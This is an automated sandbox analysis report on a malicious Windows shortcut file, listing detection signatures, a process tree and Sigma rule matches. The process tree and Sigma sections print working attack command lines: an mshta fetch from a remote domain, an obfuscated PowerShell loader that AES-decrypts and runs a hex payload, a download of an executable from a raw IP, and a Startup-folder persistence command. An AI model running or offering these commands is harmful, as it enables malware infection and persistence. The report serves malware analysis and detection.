Edit tour

Windows Analysis Report
duyba.lnk.download.lnk

Overview

General Information

Sample name:	duyba.lnk.download.lnk
Analysis ID:	1577196
MD5:	afc9a2ec3804784e238beba0fb861346
SHA1:	fcf72ba6b5031b3cde13b6e09480f467bfcde1a0
SHA256:	e3b166a6a0bb2f3041367773c47e195224a65e4bc6fb5b8e69a6e2309db055c3
Tags:	lnktiffany-careers-comuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Bypasses PowerShell execution policy

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Powershell drops PE file

Sigma detected: Execution from Suspicious Folder

Sigma detected: Execution of Powershell Script in Public Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Windows shortcut file (LNK) contains suspicious command line arguments

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

Potential key logger detected (key state polling based)

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

forfiles.exe (PID: 5524 cmdline: "C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m cmmon32.exe /c "powershell . \*i*\*2\msh*e https://tiffany-careers.com/ghep2 MD5: 9BB67AEA5E26CB136F23F29CC48D6B9E)

conhost.exe (PID: 5972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 984 cmdline: . \*i*\*2\msh*e https://tiffany-careers.com/ghep2 MD5: 04029E121A0CFA5991749937DD22A1D9)

mshta.exe (PID: 5060 cmdline: "C:\Windows\System32\mshta.exe" https://tiffany-careers.com/ghep2 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 4308 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($RptYb){return -split ($RptYb -replace '..', '0x$& ')};$TmDJyn = clean('85EF51FEE837F812F61F1656D38BD83A6C01DC072CBCF246D841948987B9BF3C9407C4F8ABE6B3AC5C50C036D5BF68E3CA56C456FB1B2404AC5CC6C48224E43EFF1648E7AF29CE17BF2F62A8A7C7F4DE07613F737B271AA100A67B779C122AD966C15CB3C823908B36BCCBE9B592D037365125E56312B004E07F513AA459ACF6BFEB51AC31152191AF94E56667A3D2A99C72466ED1996C430D4FDBDAAC444A645133FFD6F506740CE6AE51237562A4307EAF56A5E569B87DC171D550AD8A419C8822B7E0E8357121B4EE75DD16DB89B145D82B1C909ABECFAF2CA7275A13D2BF9E37AD98257B106D88D6988DB290C39C801B5ACD6E2249F2E178FCF16B59452E1DF6068D3A31595646428A980314EE83988BEB6E930DAD4F3640861D45D0A054E18C6A6A1DC88EC8B63FC99EA26D553E7BB5359CA978A904B26D285DA2E961D2C21E99F57B1C7F312913323B86FA89527AF31A5917C2DA9F587D7AD9CE91B6BF628678DF96FAE7AC81A58B57440B8A9E5A64E9BA96EB65240C98299F091495E74DF32B68B79275E2937AB69BF3BD5F0EC1E9A16BF58DA85A870C384779CDAD74B0CCBA5DB9AC7C88E57A05E5FB4B20E10C6C366F1EB3C39148D6FD619830E132F469D25D555A553DD869B43849F23E017958E14F9380CFE36FC613F285B96CA940C562F0BBE8C241411E58D012E23CE1C600E9337A739DB5AE1933D65A4E4AF946B7B1F6CF268BD58702C1B7772610043D981C68C31564F5D9BCBC8CD96ECCFFEEA53D365D01D36E4B3484C95363DD6F39138A67AA362CC9C4190026ABF641C6DF0E5D4A3DE01E05606278D5D2CD0D85DC89F086FAFB7491F9C40F89ED33F7D31C9484F5A8801EF1BABD7938BE509E2133642C8F35CA6BC2E09BEBD5D6E25F0DC30937B429ECB2F268B5D43052547BFA5B9ED413A38A20627D472EFB0F8E5508505831BA8934BFEEB8AE9A4BF2628245B5EC010BF6D308960A15DD28CFFB2D4FDABA50ADBE760CF86DACFCC1CC10A16D02B0C2946FCEDF74A822836F4B0F4975FF46B0CBA3CB495C20FC2E2D372C357A0897500BE09B0F824AA768EAFC28D39243CF341DE1E2A07E5CBD4B0252080E82D760C61806F6F7994A7DE1DCAB9D55F435A87A935C06EC1E878265F121BBA0C1C3B138C1C358E3620FE1A9D778846E6E0CC25C2E6EF13359D6033DE5B1EE13790F98BE7CD35C3B754897DB4583B2B846BCD4E1906C8F2416336E8F269DA57FC2A9824FD6457D1FBC840D50A0EBE6EA5D36FCDCAEB24318E174CC5E33792642277DCC1EBD38F0C1E9233BA2B6E85C963CD7EA29A78A0D2F2F3C1C85EEA9CB646881CEB314F342ECD05D23D5A754721D804D2562F5FDA471331489B61431D4EB09A03B9EF4D7FB5B3E8091B05427A6364A5B6D0281A41D08DF8F77CE3D19BBEDA721A10EB0619CC5BD0A356D2E124CD2962CE26B9E426500BC09F540E75EBD01524B2439910F6000364849B4B849A10268817BBDBE676C5F3DC1D39FA1F1A09760E6B0902B7C52C8F09DE7BF7015A029559284A573439130DC0912C8C12F8AFD9D26F921AF247BD1AFFBD37E1985F8D2709B4CE2681126C3BE8125DB7B0AB4C0CF4566221DEE6A82BC22EC143820A60C9066D3FDD32C6A78427A2E86463B2B6FFB7F128E906DB4659BDD9607349255B9A7F5362978B75C4A3D8234B1A87F09B3550450D25B8CC317C18849409DC37399F4E365EF0404E3CFE1AB8DBD8A85A9FF698337D674B0E24EFFA058A278F5943622');$MuOQabMc = [System.Security.Cryptography.Aes]::Create();$MuOQabMc.Key = clean('756561544973656A645A7544464B6A70');$MuOQabMc.IV = New-Object byte[] 16;$LaiuJGbhf = $MuOQabMc.CreateDecryptor();$mGnVsuDWp = [Text.Encoding]::UTF8.GetString($LaiuJGbhf.TransformFinalBlock($TmDJyn, 0,$TmDJyn.Length)); & $mGnVsuDWp.Substring(0,3) $mGnVsuDWp.Substring(3) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 6392 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Marketing.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6408 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4676 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1744,i,5196948583256038124,6281931824865784808,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

PefjSkkhb.exe (PID: 7724 cmdline: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" MD5: 567DE19C0E7E3A1FC845E51AC1C1D5D8)

powershell.exe (PID: 7812 cmdline: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7480 cmdline: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Guard.exe (PID: 8004 cmdline: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cmd.exe (PID: 7496 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 5300 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

wscript.exe (PID: 4424 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

SwiftWrite.pif (PID: 4720 cmdline: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G" MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 4308	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1804e2:$b1: ::WriteAllBytes( 0x180c82:$b1: ::WriteAllBytes( 0xc5ee9:$b3: ::UTF8.GetString( 0xc6ab5:$b3: ::UTF8.GetString( 0xc7885:$b3: ::UTF8.GetString( 0xc90e5:$b3: ::UTF8.GetString( 0xc9e1a:$b3: ::UTF8.GetString( 0xcced8:$b3: ::UTF8.GetString( 0xd0182:$b3: ::UTF8.GetString( 0xd0d31:$b3: ::UTF8.GetString( 0xd5d31:$b3: ::UTF8.GetString( 0xddee5:$b3: ::UTF8.GetString( 0xf0fe7:$b3: ::UTF8.GetString( 0xf1b96:$b3: ::UTF8.GetString( 0x13f25b:$b3: ::UTF8.GetString( 0x13feb4:$b3: ::UTF8.GetString( 0x140a80:$b3: ::UTF8.GetString( 0x157a4d:$b3: ::UTF8.GetString( 0x1585fc:$b3: ::UTF8.GetString( 0x15a3c9:$b3: ::UTF8.GetString( 0x15c3bb:$b3: ::UTF8.GetString(

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine|base64offset|contains: , Image: C:\Users\Public\Guard.exe, NewProcessName: C:\Users\Public\Guard.exe, OriginalFileName: C:\Users\Public\Guard.exe, ParentCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7480, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ProcessId: 8004, ProcessName: Guard.exe

Sigma detected: Execution of Powershell Script in Public Folder

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7724, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 7480, ProcessName: powershell.exe

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ParentImage: C:\Users\Public\Guard.exe, ParentProcessId: 8004, ParentProcessName: Guard.exe, ProcessCommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, ProcessId: 7496, ProcessName: cmd.exe

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\mshta.exe" https://tiffany-careers.com/ghep2, CommandLine: "C:\Windows\System32\mshta.exe" https://tiffany-careers.com/ghep2, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: . \*i*\*2\msh*e https://tiffany-careers.com/ghep2, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 984, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\mshta.exe" https://tiffany-careers.com/ghep2, ProcessId: 5060, ProcessName: mshta.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7724, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 7480, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7724, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7812, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($RptYb){return -split ($RptYb -replace '..', '0x$& ')};$TmDJyn = clean('85EF51FEE837F812F61F1656D38BD83A6C01DC072CBCF246D841948987B9BF3C9407C4F8ABE6B3AC5C50C036D5BF68E3CA56C456FB1B2404AC5CC6C48224E43EFF1648E7AF29CE17BF2F62A8A7C7F4DE07613F737B271AA100A67B779C122AD966C15CB3C823908B36BCCBE9B592D037365125E56312B004E07F513AA459ACF6BFEB51AC31152191AF94E56667A3D2A99C72466ED1996C430D4FDBDAAC444A645133FFD6F506740CE6AE51237562A4307EAF56A5E569B87DC171D550AD8A419C8822B7E0E8357121B4EE75DD16DB89B145D82B1C909ABECFAF2CA7275A13D2BF9E37AD98257B106D88D6988DB290C39C801B5ACD6E2249F2E178FCF16B59452E1DF6068D3A31595646428A980314EE83988BEB6E930DAD4F3640861D45D0A054E18C6A6A1DC88EC8B63FC99EA26D553E7BB5359CA978A904B26D285DA2E961D2C21E99F57B1C7F312913323B86FA89527AF31A5917C2DA9F587D7AD9CE91B6BF628678DF96FAE7AC81A58B57440B8A9E5A64E9BA96EB65240C98299F091495E74DF32B68B79275E2937AB69BF3BD5F0EC1E9A16BF58DA85A870C384779CDAD74B0CCBA5DB9AC7C88E57A05E5FB4B20E10C6C366F1EB3C39148D6FD619830E132F469D25D555A553DD869B43849F23E017958E14F9380CFE36FC613F285B96CA940C562F0BBE8C241411E58D012E23CE1C600E9337A739DB5AE1933D65A4E4AF946B7B1F6CF268BD58702C1B7772610043D981C68C31564F5D9BCBC8CD96ECCFFEEA53D365D01D36E4B3484C95363DD6F39138A67AA362CC9C4190026ABF641C6DF0E5D4A3DE01E05606278D5D2CD0D85DC89F086FAFB7491F9C40F89ED33F7D31C9484F5A8801EF1BABD7938BE509E2133642C8F35CA6BC2E09BEBD5D6E25F0DC30937B429ECB2F268B5D43052547BFA5B9ED413A38A20627D472EFB0F8E5508505831BA8934BFEEB8AE9A4BF2628245B5EC010BF6D308960A15DD28CFFB2D4FDABA50ADBE760CF86DACFCC1CC10A16D02B0C2946FCEDF74A822836F4B0F4975FF46B0CBA3CB495C20FC2E2D372C357A0897500BE09B0F824AA768EAFC28D39243CF341DE1E2A07E5CBD4B0252080E82D760C61806F6F7994A7DE1DCAB9D55F435A87A935C06EC1E878265F121BBA0C1C3B138C1C358E3620FE1A9D778846E6E0CC25C2E6EF13359D6033DE5B1EE13790F98BE7CD35C3B754897DB4583B2B846BCD4E1906C8F2416336E8F269DA57FC2A9824FD6457D1FBC840D50A0EBE6EA5D36FCDCAEB24318E174CC5E33792642277DCC1EBD38F0C1E9233BA2B6E85C963CD7EA29A78A0D2F2F3C1C85EEA9CB646881CEB314F342ECD05D23D5A754721D804D2562F5FDA471331489B61431D4EB09A03B9EF4D7FB5B3E8091B05427A6364A5B6D0281A41D08DF8F77CE3D19BBEDA721A10EB0619CC5BD0A356D2E124CD2962CE26B9E426500BC09F540E75EBD01524B2439910F6000364849B4B849A10268817BBDBE676C5F3DC1D39FA1F1A09760E6B0902B7C52C8F09DE7BF7015A029559284A573439130DC0912C8C12F8AFD9D26F921AF247BD1AFFBD37E1985F8D2709B4CE2681126C3BE8125DB7B0AB4C0CF4566221DEE6A82BC22EC143820A60C9066D3FDD32C6A78427A2E86463B2B6FFB7F128E906DB4659BDD9607349255B9A7F5362978B75C4A3D8234B1A87F09B3550450D25B8CC317C18849409DC37399F4E365EF0404E3CFE1AB8DBD8A85A9FF698337D674B0E24EFFA058A278F5943622');$MuOQabMc = [System.Security.Cryptography.Aes]::Create();$MuOQabMc.Key = clean('756561544973656A645A7544464B6A70');$MuOQabMc.IV = New-Object byte[] 16;$LaiuJGbhf = $MuOQabMc.CreateDecryptor();$mGnVsuDWp = [Text.Encoding]::UTF8.GetString($LaiuJGbhf.TransformFinalBlock($TmDJyn, 0,$TmDJyn.Length)); & $mGnVsuDWp.S

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 4424, ProcessName: wscript.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7812, TargetFilename: C:\Users\Public\Guard.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($RptYb){return -split ($RptYb -replace '..', '0x$& ')};$TmDJyn = clean('85EF51FEE837F812F61F1656D38BD83A6C01DC072CBCF246D841948987B9BF3C9407C4F8ABE6B3AC5C50C036D5BF68E3CA56C456FB1B2404AC5CC6C48224E43EFF1648E7AF29CE17BF2F62A8A7C7F4DE07613F737B271AA100A67B779C122AD966C15CB3C823908B36BCCBE9B592D037365125E56312B004E07F513AA459ACF6BFEB51AC31152191AF94E56667A3D2A99C72466ED1996C430D4FDBDAAC444A645133FFD6F506740CE6AE51237562A4307EAF56A5E569B87DC171D550AD8A419C8822B7E0E8357121B4EE75DD16DB89B145D82B1C909ABECFAF2CA7275A13D2BF9E37AD98257B106D88D6988DB290C39C801B5ACD6E2249F2E178FCF16B59452E1DF6068D3A31595646428A980314EE83988BEB6E930DAD4F3640861D45D0A054E18C6A6A1DC88EC8B63FC99EA26D553E7BB5359CA978A904B26D285DA2E961D2C21E99F57B1C7F312913323B86FA89527AF31A5917C2DA9F587D7AD9CE91B6BF628678DF96FAE7AC81A58B57440B8A9E5A64E9BA96EB65240C98299F091495E74DF32B68B79275E2937AB69BF3BD5F0EC1E9A16BF58DA85A870C384779CDAD74B0CCBA5DB9AC7C88E57A05E5FB4B20E10C6C366F1EB3C39148D6FD619830E132F469D25D555A553DD869B43849F23E017958E14F9380CFE36FC613F285B96CA940C562F0BBE8C241411E58D012E23CE1C600E9337A739DB5AE1933D65A4E4AF946B7B1F6CF268BD58702C1B7772610043D981C68C31564F5D9BCBC8CD96ECCFFEEA53D365D01D36E4B3484C95363DD6F39138A67AA362CC9C4190026ABF641C6DF0E5D4A3DE01E05606278D5D2CD0D85DC89F086FAFB7491F9C40F89ED33F7D31C9484F5A8801EF1BABD7938BE509E2133642C8F35CA6BC2E09BEBD5D6E25F0DC30937B429ECB2F268B5D43052547BFA5B9ED413A38A20627D472EFB0F8E5508505831BA8934BFEEB8AE9A4BF2628245B5EC010BF6D308960A15DD28CFFB2D4FDABA50ADBE760CF86DACFCC1CC10A16D02B0C2946FCEDF74A822836F4B0F4975FF46B0CBA3CB495C20FC2E2D372C357A0897500BE09B0F824AA768EAFC28D39243CF341DE1E2A07E5CBD4B0252080E82D760C61806F6F7994A7DE1DCAB9D55F435A87A935C06EC1E878265F121BBA0C1C3B138C1C358E3620FE1A9D778846E6E0CC25C2E6EF13359D6033DE5B1EE13790F98BE7CD35C3B754897DB4583B2B846BCD4E1906C8F2416336E8F269DA57FC2A9824FD6457D1FBC840D50A0EBE6EA5D36FCDCAEB24318E174CC5E33792642277DCC1EBD38F0C1E9233BA2B6E85C963CD7EA29A78A0D2F2F3C1C85EEA9CB646881CEB314F342ECD05D23D5A754721D804D2562F5FDA471331489B61431D4EB09A03B9EF4D7FB5B3E8091B05427A6364A5B6D0281A41D08DF8F77CE3D19BBEDA721A10EB0619CC5BD0A356D2E124CD2962CE26B9E426500BC09F540E75EBD01524B2439910F6000364849B4B849A10268817BBDBE676C5F3DC1D39FA1F1A09760E6B0902B7C52C8F09DE7BF7015A029559284A573439130DC0912C8C12F8AFD9D26F921AF247BD1AFFBD37E1985F8D2709B4CE2681126C3BE8125DB7B0AB4C0CF4566221DEE6A82BC22EC143820A60C9066D3FDD32C6A78427A2E86463B2B6FFB7F128E906DB4659BDD9607349255B9A7F5362978B75C4A3D8234B1A87F09B3550450D25B8CC317C18849409DC37399F4E365EF0404E3CFE1AB8DBD8A85A9FF698337D674B0E24EFFA058A278F5943622');$MuOQabMc = [System.Security.Cryptography.Aes]::Create();$MuOQabMc.Key = clean('756561544973656A645A7544464B6A70');$MuOQabMc.IV = New-Object byte[] 16;$LaiuJGbhf = $MuOQabMc.CreateDecryptor();$mGnVsuDWp = [Text.Encoding]::UTF8.GetString($LaiuJGbhf.TransformFinalBlock($TmDJyn, 0,$TmDJyn.Length)); & $mGnVsuDWp.S

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, NewProcessName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, OriginalFileName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" 